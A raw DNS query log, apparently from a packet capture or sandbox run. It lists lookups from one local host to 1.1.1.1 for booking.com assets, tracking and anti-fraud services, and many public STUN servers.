Jul 9, 2024 00:43:44.379590988 CEST	192.168.2.6	1.1.1.1	0x7a78	Standard query (0)	q-xx.bstatic.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.379812002 CEST	192.168.2.6	1.1.1.1	0xce1c	Standard query (0)	q-xx.bstatic.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:44.429547071 CEST	192.168.2.6	1.1.1.1	0x6eac	Standard query (0)	aa.online-metrix.net	28	IN (0x0001)	false
Jul 9, 2024 00:43:44.430629015 CEST	192.168.2.6	1.1.1.1	0xf0a	Standard query (0)	aa.online-metrix.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:45.500880003 CEST	192.168.2.6	1.1.1.1	0xa317	Standard query (0)	saa.booking.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:45.501149893 CEST	192.168.2.6	1.1.1.1	0x4f40	Standard query (0)	saa.booking.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:45.761514902 CEST	192.168.2.6	1.1.1.1	0xecf6	Standard query (0)	d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:45.761651039 CEST	192.168.2.6	1.1.1.1	0xbdad	Standard query (0)	d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:45.831091881 CEST	192.168.2.6	1.1.1.1	0x2b7a	Standard query (0)	booking.ck123.io	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:45.831423044 CEST	192.168.2.6	1.1.1.1	0xdeff	Standard query (0)	booking.ck123.io	65	IN (0x0001)	false
Jul 9, 2024 00:43:45.839462042 CEST	192.168.2.6	1.1.1.1	0x5dd	Standard query (0)	booking.gw-dv.vip	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:45.839700937 CEST	192.168.2.6	1.1.1.1	0xa306	Standard query (0)	booking.gw-dv.vip	65	IN (0x0001)	false
Jul 9, 2024 00:43:45.843187094 CEST	192.168.2.6	1.1.1.1	0xe6ae	Standard query (0)	ls.cdn-gw-dv.vip	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:45.843564987 CEST	192.168.2.6	1.1.1.1	0xa30d	Standard query (0)	ls.cdn-gw-dv.vip	65	IN (0x0001)	false
Jul 9, 2024 00:43:46.224033117 CEST	192.168.2.6	1.1.1.1	0x4aeb	Standard query (0)	stun.12voip.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.224227905 CEST	192.168.2.6	1.1.1.1	0xf8ee	Standard query (0)	stun.1und1.de	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.224386930 CEST	192.168.2.6	1.1.1.1	0x2660	Standard query (0)	stun.aa.net.uk	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.224522114 CEST	192.168.2.6	1.1.1.1	0x8ac2	Standard query (0)	stun.acrobits.cz	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.224673986 CEST	192.168.2.6	1.1.1.1	0x8fad	Standard query (0)	stun.actionvoip.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.224817991 CEST	192.168.2.6	1.1.1.1	0x1cd6	Standard query (0)	stun.antisip.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.224946976 CEST	192.168.2.6	1.1.1.1	0x2093	Standard query (0)	stun.bluesip.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.225085974 CEST	192.168.2.6	1.1.1.1	0x5ece	Standard query (0)	stun.cablenet-as.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.225591898 CEST	192.168.2.6	1.1.1.1	0x58af	Standard query (0)	stun.callromania.ro	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.225822926 CEST	192.168.2.6	1.1.1.1	0xf31d	Standard query (0)	stun.l.google.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.226073980 CEST	192.168.2.6	1.1.1.1	0x19f5	Standard query (0)	stun.tel.lu	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.226296902 CEST	192.168.2.6	1.1.1.1	0xad3a	Standard query (0)	stun.telbo.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.226438999 CEST	192.168.2.6	1.1.1.1	0xbaf8	Standard query (0)	stun.twt.it	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.226674080 CEST	192.168.2.6	1.1.1.1	0xd3ca	Standard query (0)	stun.uls.co.za	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.226819992 CEST	192.168.2.6	1.1.1.1	0x90f8	Standard query (0)	stun.usfamily.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.226941109 CEST	192.168.2.6	1.1.1.1	0x99a2	Standard query (0)	stun1.l.google.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.227125883 CEST	192.168.2.6	1.1.1.1	0xc83c	Standard query (0)	stun2.l.google.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.227267027 CEST	192.168.2.6	1.1.1.1	0x8ce9	Standard query (0)	stun3.l.google.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.227389097 CEST	192.168.2.6	1.1.1.1	0x8325	Standard query (0)	stun4.l.google.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.227552891 CEST	192.168.2.6	1.1.1.1	0xb40c	Standard query (0)	stun.12voip.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.227682114 CEST	192.168.2.6	1.1.1.1	0x2e8e	Standard query (0)	stun.1und1.de	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.227801085 CEST	192.168.2.6	1.1.1.1	0xf919	Standard query (0)	stun.aa.net.uk	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.227917910 CEST	192.168.2.6	1.1.1.1	0xcf43	Standard query (0)	stun.acrobits.cz	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.228033066 CEST	192.168.2.6	1.1.1.1	0xfd26	Standard query (0)	stun.actionvoip.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.228148937 CEST	192.168.2.6	1.1.1.1	0xacdc	Standard query (0)	stun.antisip.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.228261948 CEST	192.168.2.6	1.1.1.1	0x2b28	Standard query (0)	stun.bluesip.net	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.228374958 CEST	192.168.2.6	1.1.1.1	0xcf11	Standard query (0)	stun.cablenet-as.net	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.228490114 CEST	192.168.2.6	1.1.1.1	0xcaf3	Standard query (0)	stun.callromania.ro	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.228596926 CEST	192.168.2.6	1.1.1.1	0x1d51	Standard query (0)	stun.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.228710890 CEST	192.168.2.6	1.1.1.1	0xcc07	Standard query (0)	stun.tel.lu	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.228846073 CEST	192.168.2.6	1.1.1.1	0xf311	Standard query (0)	stun.telbo.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.228961945 CEST	192.168.2.6	1.1.1.1	0x9269	Standard query (0)	stun.twt.it	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.229063034 CEST	192.168.2.6	1.1.1.1	0xa723	Standard query (0)	stun.uls.co.za	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.229168892 CEST	192.168.2.6	1.1.1.1	0xf94e	Standard query (0)	stun.usfamily.net	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.229317904 CEST	192.168.2.6	1.1.1.1	0x3a86	Standard query (0)	stun1.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.229459047 CEST	192.168.2.6	1.1.1.1	0xe602	Standard query (0)	stun2.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.229569912 CEST	192.168.2.6	1.1.1.1	0xfba0	Standard query (0)	stun3.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.229686975 CEST	192.168.2.6	1.1.1.1	0x4a18	Standard query (0)	stun4.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.242855072 CEST	192.168.2.6	1.1.1.1	0xf75b	Standard query (0)	stun.bluesip.net	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.243793964 CEST	192.168.2.6	1.1.1.1	0x32dd	Standard query (0)	stun.actionvoip.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.243870020 CEST	192.168.2.6	1.1.1.1	0xcb4	Standard query (0)	stun.acrobits.cz	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.248662949 CEST	192.168.2.6	1.1.1.1	0xf3a0	Standard query (0)	stun.aa.net.uk	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.249310970 CEST	192.168.2.6	1.1.1.1	0xe991	Standard query (0)	stun.12voip.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.249823093 CEST	192.168.2.6	1.1.1.1	0xb819	Standard query (0)	stun.callromania.ro	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.250060081 CEST	192.168.2.6	1.1.1.1	0x9be6	Standard query (0)	stun.cablenet-as.net	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.250605106 CEST	192.168.2.6	1.1.1.1	0x49bb	Standard query (0)	stun.uls.co.za	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.250711918 CEST	192.168.2.6	1.1.1.1	0xef83	Standard query (0)	stun.1und1.de	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.250883102 CEST	192.168.2.6	1.1.1.1	0xf878	Standard query (0)	stun.usfamily.net	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.251096964 CEST	192.168.2.6	1.1.1.1	0x3b92	Standard query (0)	stun.twt.it	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.251338959 CEST	192.168.2.6	1.1.1.1	0x76d	Standard query (0)	stun.telbo.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.251600981 CEST	192.168.2.6	1.1.1.1	0x3947	Standard query (0)	stun.tel.lu	28	IN (0x0001)	false
Jul 9, 2024 00:43:46.778682947 CEST	192.168.2.6	1.1.1.1	0x5b4c	Standard query (0)	geolocation.onetrust.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.778842926 CEST	192.168.2.6	1.1.1.1	0x769a	Standard query (0)	geolocation.onetrust.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:46.781013012 CEST	192.168.2.6	1.1.1.1	0x8716	Standard query (0)	cdn.cookielaw.org	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.781215906 CEST	192.168.2.6	1.1.1.1	0x7738	Standard query (0)	cdn.cookielaw.org	65	IN (0x0001)	false
Jul 9, 2024 00:43:47.463572979 CEST	192.168.2.6	1.1.1.1	0x8d0b	Standard query (0)	geolocation.onetrust.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:47.463732958 CEST	192.168.2.6	1.1.1.1	0xdd4b	Standard query (0)	geolocation.onetrust.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:48.187489986 CEST	192.168.2.6	1.1.1.1	0x4a5	Standard query (0)	h.online-metrix.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:48.187686920 CEST	192.168.2.6	1.1.1.1	0x183e	Standard query (0)	h.online-metrix.net	65	IN (0x0001)	false
Jul 9, 2024 00:43:48.269783974 CEST	192.168.2.6	1.1.1.1	0xb7e3	Standard query (0)	h.online-metrix.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:48.269959927 CEST	192.168.2.6	1.1.1.1	0x3542	Standard query (0)	h.online-metrix.net	65	IN (0x0001)	false
Jul 9, 2024 00:43:49.265243053 CEST	192.168.2.6	1.1.1.1	0xc67e	Standard query (0)	h64.online-metrix.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:49.265372038 CEST	192.168.2.6	1.1.1.1	0x466a	Standard query (0)	h64.online-metrix.net	65	IN (0x0001)	false
Jul 9, 2024 00:43:49.269200087 CEST	192.168.2.6	1.1.1.1	0x86f2	Standard query (0)	doregtzf5ebkfwgr3cpglagb72suuseqjxlah7jgd9fe95023d324584sac.d.aa.online-metrix.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:49.269546986 CEST	192.168.2.6	1.1.1.1	0x8cd4	Standard query (0)	doregtzf5ebkfwgr3cpglagb72suuseqjxlah7jgd9fe95023d324584sac.d.aa.online-metrix.net	65	IN (0x0001)	false
Jul 9, 2024 00:43:49.577884912 CEST	192.168.2.6	1.1.1.1	0xacac	Standard query (0)	aa.online-metrix.net	28	IN (0x0001)	false
Jul 9, 2024 00:43:49.752271891 CEST	192.168.2.6	1.1.1.1	0x4993	Standard query (0)	aa.online-metrix.net	28	IN (0x0001)	false
Jul 9, 2024 00:43:50.882982969 CEST	192.168.2.6	1.1.1.1	0xf4fa	Standard query (0)	doregtzf5ebkfwgr3cpglagb72suuseqjxlah7jgd9fe95023d324584sac.d.aa.online-metrix.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:50.883524895 CEST	192.168.2.6	1.1.1.1	0x6a5a	Standard query (0)	doregtzf5ebkfwgr3cpglagb72suuseqjxlah7jgd9fe95023d324584sac.d.aa.online-metrix.net	65	IN (0x0001)	false
Jul 9, 2024 00:43:52.075541019 CEST	192.168.2.6	1.1.1.1	0x7b7b	Standard query (0)	d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:52.075850010 CEST	192.168.2.6	1.1.1.1	0xfa31	Standard query (0)	d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:52.869868040 CEST	192.168.2.6	1.1.1.1	0xc989	Standard query (0)	r.bstatic.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:52.870259047 CEST	192.168.2.6	1.1.1.1	0x3326	Standard query (0)	r.bstatic.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:53.448909998 CEST	192.168.2.6	1.1.1.1	0x5f46	Standard query (0)	partner.booking.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:53.449325085 CEST	192.168.2.6	1.1.1.1	0x3930	Standard query (0)	partner.booking.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:54.545526981 CEST	192.168.2.6	1.1.1.1	0x8d43	Standard query (0)	collector-pxikkul2rm.px-cloud.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:54.545907974 CEST	192.168.2.6	1.1.1.1	0x37f9	Standard query (0)	collector-pxikkul2rm.px-cloud.net	65	IN (0x0001)	false
Jul 9, 2024 00:43:55.699978113 CEST	192.168.2.6	1.1.1.1	0xacc2	Standard query (0)	bstatic.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.700359106 CEST	192.168.2.6	1.1.1.1	0xc07f	Standard query (0)	bstatic.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:55.704180002 CEST	192.168.2.6	1.1.1.1	0x378e	Standard query (0)	munchkin.marketo.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.704324007 CEST	192.168.2.6	1.1.1.1	0x4de4	Standard query (0)	munchkin.marketo.net	65	IN (0x0001)	false
Jul 9, 2024 00:43:55.704902887 CEST	192.168.2.6	1.1.1.1	0xfd70	Standard query (0)	rtp-static.marketo.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.705008030 CEST	192.168.2.6	1.1.1.1	0x8179	Standard query (0)	rtp-static.marketo.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:55.706147909 CEST	192.168.2.6	1.1.1.1	0xb2f3	Standard query (0)	www.googleoptimize.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.706294060 CEST	192.168.2.6	1.1.1.1	0x6b1a	Standard query (0)	www.googleoptimize.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:55.709170103 CEST	192.168.2.6	1.1.1.1	0xe71e	Standard query (0)	lonrtp1.marketo.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.709322929 CEST	192.168.2.6	1.1.1.1	0xf62d	Standard query (0)	lonrtp1.marketo.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:55.733614922 CEST	192.168.2.6	1.1.1.1	0xe5dd	Standard query (0)	try.abtasty.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.733848095 CEST	192.168.2.6	1.1.1.1	0x4294	Standard query (0)	try.abtasty.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:55.879503965 CEST	192.168.2.6	1.1.1.1	0x93f0	Standard query (0)	cdn.evgnet.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.879906893 CEST	192.168.2.6	1.1.1.1	0x965c	Standard query (0)	cdn.evgnet.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:57.881129026 CEST	192.168.2.6	1.1.1.1	0xc0a5	Standard query (0)	partner.booking.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:57.881414890 CEST	192.168.2.6	1.1.1.1	0xff1d	Standard query (0)	partner.booking.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:59.690913916 CEST	192.168.2.6	1.1.1.1	0xe52a	Standard query (0)	try.abtasty.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:59.691051960 CEST	192.168.2.6	1.1.1.1	0x9e9b	Standard query (0)	try.abtasty.com	65	IN (0x0001)	false
Jul 9, 2024 00:44:03.640764952 CEST	192.168.2.6	1.1.1.1	0x8957	Standard query (0)	zn3eum1ldyl0aih0i-partnersatbooking.siteintercept.qualtrics.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:03.642222881 CEST	192.168.2.6	1.1.1.1	0x3ef5	Standard query (0)	zn3eum1ldyl0aih0i-partnersatbooking.siteintercept.qualtrics.com	65	IN (0x0001)	false
Jul 9, 2024 00:44:03.644519091 CEST	192.168.2.6	1.1.1.1	0x5f9f	Standard query (0)	chat.kindlycdn.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:03.652117014 CEST	192.168.2.6	1.1.1.1	0x4ca1	Standard query (0)	chat.kindlycdn.com	65	IN (0x0001)	false
Jul 9, 2024 00:44:03.687829971 CEST	192.168.2.6	1.1.1.1	0x54d3	Standard query (0)	cdn.spinnaker-js.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:03.687830925 CEST	192.168.2.6	1.1.1.1	0xf672	Standard query (0)	cdn.spinnaker-js.com	65	IN (0x0001)	false
Jul 9, 2024 00:44:07.532624006 CEST	192.168.2.6	1.1.1.1	0x729d	Standard query (0)	apil1.spinnaker-js.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:07.533078909 CEST	192.168.2.6	1.1.1.1	0x3711	Standard query (0)	apil1.spinnaker-js.com	65	IN (0x0001)	false
Jul 9, 2024 00:44:08.792438984 CEST	192.168.2.6	1.1.1.1	0x3aa0	Standard query (0)	chat.kindlycdn.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:08.792603016 CEST	192.168.2.6	1.1.1.1	0x566e	Standard query (0)	chat.kindlycdn.com	65	IN (0x0001)	false
Jul 9, 2024 00:44:16.045573950 CEST	192.168.2.6	1.1.1.1	0x5b09	Standard query (0)	dcinfos-cache.abtasty.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:16.045723915 CEST	192.168.2.6	1.1.1.1	0xd046	Standard query (0)	dcinfos-cache.abtasty.com	65	IN (0x0001)	false
Jul 9, 2024 00:44:17.078162909 CEST	192.168.2.6	1.1.1.1	0x7568	Standard query (0)	dcinfos-cache.abtasty.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:17.078162909 CEST	192.168.2.6	1.1.1.1	0x85d2	Standard query (0)	dcinfos-cache.abtasty.com	65	IN (0x0001)	false
Jul 9, 2024 00:44:19.507441998 CEST	192.168.2.6	1.1.1.1	0xbf04	Standard query (0)	ariane.abtasty.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:19.507662058 CEST	192.168.2.6	1.1.1.1	0xba54	Standard query (0)	ariane.abtasty.com	65	IN (0x0001)	false
Jul 9, 2024 00:44:20.436244011 CEST	192.168.2.6	1.1.1.1	0x3888	Standard query (0)	ariane.abtasty.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:20.436518908 CEST	192.168.2.6	1.1.1.1	0x8d19	Standard query (0)	ariane.abtasty.com	65	IN (0x0001)	false
Jul 9, 2024 00:44:24.401364088 CEST	192.168.2.6	1.1.1.1	0x8fb1	Standard query (0)	bookingdotcomb2b.germany-2.evergage.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:24.401514053 CEST	192.168.2.6	1.1.1.1	0x559a	Standard query (0)	bookingdotcomb2b.germany-2.evergage.com	65	IN (0x0001)	false
Jul 9, 2024 00:44:26.512053013 CEST	192.168.2.6	1.1.1.1	0x35a3	Standard query (0)	bookingdotcomb2b.germany-2.evergage.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:26.512389898 CEST	192.168.2.6	1.1.1.1	0x7ea5	Standard query (0)	bookingdotcomb2b.germany-2.evergage.com	65	IN (0x0001)	false
Jul 9, 2024 00:44:26.802762032 CEST	192.168.2.6	1.1.1.1	0x7794	Standard query (0)	zn09tjwjvephllacp-partnersatbooking.siteintercept.qualtrics.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:26.806464911 CEST	192.168.2.6	1.1.1.1	0xf330	Standard query (0)	zn09tjwjvephllacp-partnersatbooking.siteintercept.qualtrics.com	65	IN (0x0001)	false
Jul 9, 2024 00:44:27.479410887 CEST	192.168.2.6	1.1.1.1	0x4322	Standard query (0)	siteintercept.qualtrics.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:27.479628086 CEST	192.168.2.6	1.1.1.1	0x6bfb	Standard query (0)	siteintercept.qualtrics.com	65	IN (0x0001)	false
Jul 9, 2024 00:44:27.558374882 CEST	192.168.2.6	1.1.1.1	0x608a	Standard query (0)	sage.kindly.ai	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:27.558873892 CEST	192.168.2.6	1.1.1.1	0x8c75	Standard query (0)	sage.kindly.ai	65	IN (0x0001)	false
Jul 9, 2024 00:44:30.511960983 CEST	192.168.2.6	1.1.1.1	0x2487	Standard query (0)	siteintercept.qualtrics.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:30.512156963 CEST	192.168.2.6	1.1.1.1	0x9aa0	Standard query (0)	siteintercept.qualtrics.com	65	IN (0x0001)	false
Jul 9, 2024 00:44:30.522104979 CEST	192.168.2.6	1.1.1.1	0x7840	Standard query (0)	sage.kindly.ai	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:30.522300959 CEST	192.168.2.6	1.1.1.1	0x1052	Standard query (0)	sage.kindly.ai	65	IN (0x0001)	false
Jul 9, 2024 00:44:32.418850899 CEST	192.168.2.6	1.1.1.1	0xa84d	Standard query (0)	www.booking.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:32.418982983 CEST	192.168.2.6	1.1.1.1	0xcfac	Standard query (0)	www.booking.com	65	IN (0x0001)	false
Jul 9, 2024 00:44:33.102489948 CEST	192.168.2.6	1.1.1.1	0x3a6b	Standard query (0)	aa.online-metrix.net	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.103787899 CEST	192.168.2.6	1.1.1.1	0x787a	Standard query (0)	stun.12voip.com	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.103903055 CEST	192.168.2.6	1.1.1.1	0xb0a1	Standard query (0)	stun.1und1.de	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.104294062 CEST	192.168.2.6	1.1.1.1	0x5c1f	Standard query (0)	stun.aa.net.uk	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.104294062 CEST	192.168.2.6	1.1.1.1	0x46ef	Standard query (0)	stun.acrobits.cz	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.104698896 CEST	192.168.2.6	1.1.1.1	0x21cb	Standard query (0)	stun.actionvoip.com	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.104698896 CEST	192.168.2.6	1.1.1.1	0x69b7	Standard query (0)	stun.antisip.com	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.105101109 CEST	192.168.2.6	1.1.1.1	0xf033	Standard query (0)	stun.bluesip.net	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.105101109 CEST	192.168.2.6	1.1.1.1	0x9f88	Standard query (0)	stun.cablenet-as.net	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.105283022 CEST	192.168.2.6	1.1.1.1	0x9922	Standard query (0)	stun.callromania.ro	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.105531931 CEST	192.168.2.6	1.1.1.1	0x8cd7	Standard query (0)	stun.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.105714083 CEST	192.168.2.6	1.1.1.1	0x3e1a	Standard query (0)	stun.tel.lu	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.105896950 CEST	192.168.2.6	1.1.1.1	0x2e0a	Standard query (0)	stun.telbo.com	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.106311083 CEST	192.168.2.6	1.1.1.1	0x6ada	Standard query (0)	stun.twt.it	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.106513023 CEST	192.168.2.6	1.1.1.1	0x6c8f	Standard query (0)	stun.uls.co.za	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.107086897 CEST	192.168.2.6	1.1.1.1	0x78d5	Standard query (0)	stun.usfamily.net	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.107086897 CEST	192.168.2.6	1.1.1.1	0xe2cb	Standard query (0)	stun1.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.107569933 CEST	192.168.2.6	1.1.1.1	0x3605	Standard query (0)	stun2.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.107569933 CEST	192.168.2.6	1.1.1.1	0x8d57	Standard query (0)	stun3.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.108021975 CEST	192.168.2.6	1.1.1.1	0x2d26	Standard query (0)	stun4.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.114965916 CEST	192.168.2.6	1.1.1.1	0xcf1e	Standard query (0)	stun.1und1.de	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.115875959 CEST	192.168.2.6	1.1.1.1	0x97ef	Standard query (0)	stun.12voip.com	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.116863012 CEST	192.168.2.6	1.1.1.1	0x2c59	Standard query (0)	aa.online-metrix.net	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.117101908 CEST	192.168.2.6	1.1.1.1	0x1aa2	Standard query (0)	stun.bluesip.net	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.117937088 CEST	192.168.2.6	1.1.1.1	0xbb5a	Standard query (0)	stun.cablenet-as.net	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.120052099 CEST	192.168.2.6	1.1.1.1	0x3a05	Standard query (0)	stun.acrobits.cz	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.121192932 CEST	192.168.2.6	1.1.1.1	0x6c3a	Standard query (0)	stun.telbo.com	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.121403933 CEST	192.168.2.6	1.1.1.1	0xb0e5	Standard query (0)	stun.actionvoip.com	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.122831106 CEST	192.168.2.6	1.1.1.1	0x638f	Standard query (0)	stun.twt.it	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.123150110 CEST	192.168.2.6	1.1.1.1	0xb1d	Standard query (0)	stun.uls.co.za	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.124541998 CEST	192.168.2.6	1.1.1.1	0x7ac8	Standard query (0)	stun.callromania.ro	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.127732038 CEST	192.168.2.6	1.1.1.1	0x5ba0	Standard query (0)	stun2.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.137572050 CEST	192.168.2.6	1.1.1.1	0xbaaf	Standard query (0)	stun.tel.lu	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.137985945 CEST	192.168.2.6	1.1.1.1	0xac24	Standard query (0)	stun.aa.net.uk	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.246699095 CEST	192.168.2.6	1.1.1.1	0x4d41	Standard query (0)	stun.usfamily.net	28	IN (0x0001)	false
Jul 9, 2024 00:44:33.267780066 CEST	192.168.2.6	1.1.1.1	0x249b	Standard query (0)	aa.online-metrix.net	28	IN (0x0001)	false
Jul 9, 2024 00:44:34.781079054 CEST	192.168.2.6	1.1.1.1	0xc6d9	Standard query (0)	www.booking.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:34.781244993 CEST	192.168.2.6	1.1.1.1	0x6b3f	Standard query (0)	www.booking.com	65	IN (0x0001)	false
Jul 9, 2024 00:44:36.016829967 CEST	192.168.2.6	1.1.1.1	0x38be	Standard query (0)	asanalytics.booking.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:36.017016888 CEST	192.168.2.6	1.1.1.1	0xcff6	Standard query (0)	asanalytics.booking.com	65	IN (0x0001)	false
